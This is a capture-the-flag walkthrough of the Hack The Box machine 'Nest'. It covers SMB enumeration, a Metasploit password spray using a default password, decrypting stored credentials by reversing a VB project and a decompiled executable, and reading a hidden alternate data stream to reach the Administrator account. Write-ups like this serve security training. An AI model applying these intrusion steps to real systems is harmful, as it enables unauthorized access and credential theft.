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nmap -Pn -sC -sV -n nest.htb PORT STATE SERVICE VERSION 445/tcp open microsoft-ds? 4386/tcp open unknown
Host script results: |clock-skew: -59m50s | smb2-security-mode: | 2.02: | Message signing enabled but not required | smb2-time: | date: 2020-01-27T06:54:14 |_ start_date: 2020-01-26T15:09:37
Enumerate the smb share. root@nidus:~# smbclient -L 10.10.10.178 Enter WORKGROUP’s password:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share Data Disk IPC$ IPC Remote IPC Secure$ Disk Users Diskroot@nidus:~# smbclient \\nest.htb\Users smb: > ls . D 0 Sun Jan 26 00:04:21 2020 .. D 0 Sun Jan 26 00:04:21 2020 Administrator D 0 Fri Aug 9 17:08:23 2019 C.Smith D 0 Sun Jan 26 08:21:44 2020 L.Frost D 0 Thu Aug 8 19:03:01 2019 R.Thompson D 0 Thu Aug 8 19:02:50 2019 TempUser D 0 Thu Aug 8 00:55:56 2019
smb: > get “Welcome Email.txt” getting file Email.txt of size 425 as Welcome Email.txt (3.5 KiloBytes/sec) (average 2.0 KiloBytes/sec)
smb: > get “Maintenance Alerts.txt” getting file Alerts.txt of size 48 as Maintenance Alerts.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
root@nidus:/opt/htb/machines/nest# cat MaintenanceAlerts.txt There is currently no scheduled maintenance work
root@nidus:/opt/htb/machines/nest# cat WelcomeEmail.txt We would like to extend a warm welcome to our newest member of staff,
You will find your home folder in the following location: \HTB-NEST<USERNAME>
If you have any issues accessing specific services or workstations, please inform the IT department and use the credentials below until all systems have been set up for you.
Username: TempUser Password: welcome2019
Thank you HR
We’ve found a list of 5 users, and what seems to be a default password. Lets see if any account hasn’t changed the password yet.
msf5 auxiliary(scanner/smb/smb_login) > run [*] 10.10.10.178:445 - 10.10.10.178:445 - Starting SMB login bruteforce [-] 10.10.10.178:445 - 10.10.10.178:445 - Failed: ‘.:welcome2019’, [-] 10.10.10.178:445 - 10.10.10.178:445 - Failed: ‘..Smith:welcome2019’, [+] 10.10.10.178:445 - 10.10.10.178:445 - Success: ‘..Frost:welcome2019’ [+] 10.10.10.178:445 - 10.10.10.178:445 - Success: ‘..Thompson:welcome2019’ [+] 10.10.10.178:445 - 10.10.10.178:445 - Success: ‘.:welcome2019’ [*] nest.htb:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
We found three sets of working creds! Lets enumerate smb again using all the found accounts.
L.Frost:welcome2019 - finds nothing interesting R.Thompson:welcome2019 - finds nothing interesting TempUser:welcome2019 - has access to all folders, and within ITwe find a few interesting XML’s.
RUScanner - We find a new set of creds. The password looks base64 encoded however decoding it gives us nothing of use. c.smith:fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE= NotepadPlusPlus - We find a new user from IT - Carl. Atlas - A few new names and possible users, Deanna Meyer (D.Meyer), Jolie Lenehan (J.Lenehan), Robert O’Hara (R.Ohara)
root@nidus:/opt/htb/machines/nest/RuScanner# cat RU_config.xml
389 c.smith fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE= root@nidus:/opt/htb/machines/nest/NotepadPlusPlus# cat config.xml
.. root@nidus:/opt/htb/machines/nest/Atlas# cat Temp.XML
Add the new found users to our user-list and scan again using msf and default password ‘welcome2019’ msf5 auxiliary(scanner/smb/smb_login) > run [*] 10.10.10.178:445 - 10.10.10.178:445 - Starting SMB login bruteforce [-] 10.10.10.178:445 - 10.10.10.178:445 - Failed: ‘.:welcome2019’, [-] 10.10.10.178:445 - 10.10.10.178:445 - Failed: ‘..Smith:welcome2019’, [+] 10.10.10.178:445 - 10.10.10.178:445 - Success: ‘..Frost:welcome2019’ [+] 10.10.10.178:445 - 10.10.10.178:445 - Success: ‘..Thompson:welcome2019’ [+] 10.10.10.178:445 - 10.10.10.178:445 - Success: ‘.:welcome2019’ [+] 10.10.10.178:445 - 10.10.10.178:445 - Success: ‘.:welcome2019’ [+] 10.10.10.178:445 - 10.10.10.178:445 - Success: ‘..Meyer:welcome2019’ [+] 10.10.10.178:445 - 10.10.10.178:445 - Success: ‘..Lenehan:welcome2019’ [+] 10.10.10.178:445 - 10.10.10.178:445 - Success: ‘..Ohara:welcome2019’ [*] nest.htb:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
All of the new found accounts are working with the default password, even Carl from IT. Lets start by enumerating shares. Carl - Nothing D.Meyer - Nothing J.Lenehan - Nothing R.Ohara - Nothing
root@p3:/opt/htb/machines# smbmap -H 10.10.10.178 -u TempUser -p welcome2019 -R
From the NotepadPlusPlus config.xml we found the path \HTB-NEST$ however we can’t list it using smbclient. Instead we can mount the directory to read it’s content. The Creds Carl:welcome2019 doesn’t work, however TestUser does.
root@p3:/opt/htb/machines/nest# mount -t cifs //nest.htb/Secure\(/IT/Carl temp/ -o user=tempuser Password for tempuser@//nest.htb/Secure\)/IT/Carl: *********** (welcome2019)
Within we find a VB-project called RUScanner, within there are some functions for encrypting and decrypting. We probably need to reverse engineer these in order to decrypt the hash we found earlier (fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=).
Opening the project in Visual Studio and trying to run it gives us the error: “System.IO.FileNotFoundException: ’Could not find file ’C:_Config.xml’.’” We previously downloaded that .xml from the SMB Share, put it in the suggested dir and run the project again, it should now run smothly without any issues.
Looking through the files we find the script Module1.vb containing a password decryption string. Under the password line we can simply print the password by typing “Console.WriteLine(test.password)”, right click on the line and press “Run to Cursor”. In the Autos output at the bottom we can see that the variable test.password contains string “xRxRxPANCAK3SxRxRx”.
Mount the SMB Share \10.10.10.178, login as C.Smith:xRxRxPANCAK3SxRxRx and grab user.txt from .Smith
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In C.Smith’s directory we find a few files, a empty .txt, a .xml and an .exe. Reading the forums they say that the empty .txt is not in fact empty, but has data “flowing” through it. This is a vague hint of stream, which in fact means Alternate Data Streams (ADS).
We investigate this by executing dir /R (/R - Display alternate data streams of the file.)
Z:.SmithReporting>dir /R Volume in drive Z has no label. Volume Serial Number is 2C6F-6A14 Directory of Z:.SmithReporting 2019-08-09 00:06
. 2019-08-09 00:06
.. 2019-08-09 13:18
AD Integration Module 2019-08-09 00:08 0 Debug Mode Password.txt 15 Debug Mode Password.txt:Password:$DATA 2019-08-09 00:09 249 HQK_Config_Backup.xml 2 File(s) 249 bytes 3 Dir(s) 26 417 422 336 bytes free
And we do infact find a hidden file. Open it using notepad and find the content “WBQ201953D8w”. notepad Debug Mode Password.txt:Password:$DATA
Login on the high port using telnet (telnet nest.htb 4386). Use the found debug password and we get new commands. >debug WBQ201953D8w Debug mode enabled. Use the HELP command to view additional commands that are now available
help This service allows users to run queries against databases using the legacy HQK format — AVAILABLE COMMANDS — LIST SETDIR
RUNQUERY DEBUG HELP SERVICE SESSION SHOWQUERY Enumerate the box and we find HQK/LDAP/Ldap.conf >list Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command QUERY FILES IN CURRENT DIRECTORY [1] HqkLdap.exe [2] Ldap.conf Current Directory: LDAP >showquery 2 Domain=nest.local Port=389 BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local User=Administrator Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
Another encrypted password, though this time for Administrator. Trying to decrypt it the same way as (temp)user gives us the error ‘Padding is invalid and cannot be removed.’. Reading about this error, it is because we are using the wrong key to decrypt the data.
From the vb-project, script file Utils.vb we find the decryption string (and key) on line 16: Return Decrypt(EncryptedString, “N3st22”, “88552299”, 2, “464R5DFA5DL6LE28”, 256)
Decompiling the .exe found in dir LDAP, HqkLdap.exe, with dotPeak and looking at it’s decryption string we find another set of keys: string.Empty : CR.RD(EncryptedString, “667912”, “1313Rf99”, 3, “1L1SA61493DRV53Z”, 256)
Modify the current script in the vb-project to match the decompiled keys, run the program and we’ll get the Administrator pass. Administrator:XtH4nkS4Pl4y1nGX
Mount \nest.htb$ as Administrator:XtH4nkS4Pl4y1nGX and grab root.txt. > type root.txt 6594c2eb084bc0f08a42f0b94b878c41
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Visual Studio Download https://softfamous.com/visual-studio-2010/
Visual Studio Coding https://docs.microsoft.com/en-us/dotnet/core/tutorials/debugging-with-visual-studio?tabs=csharp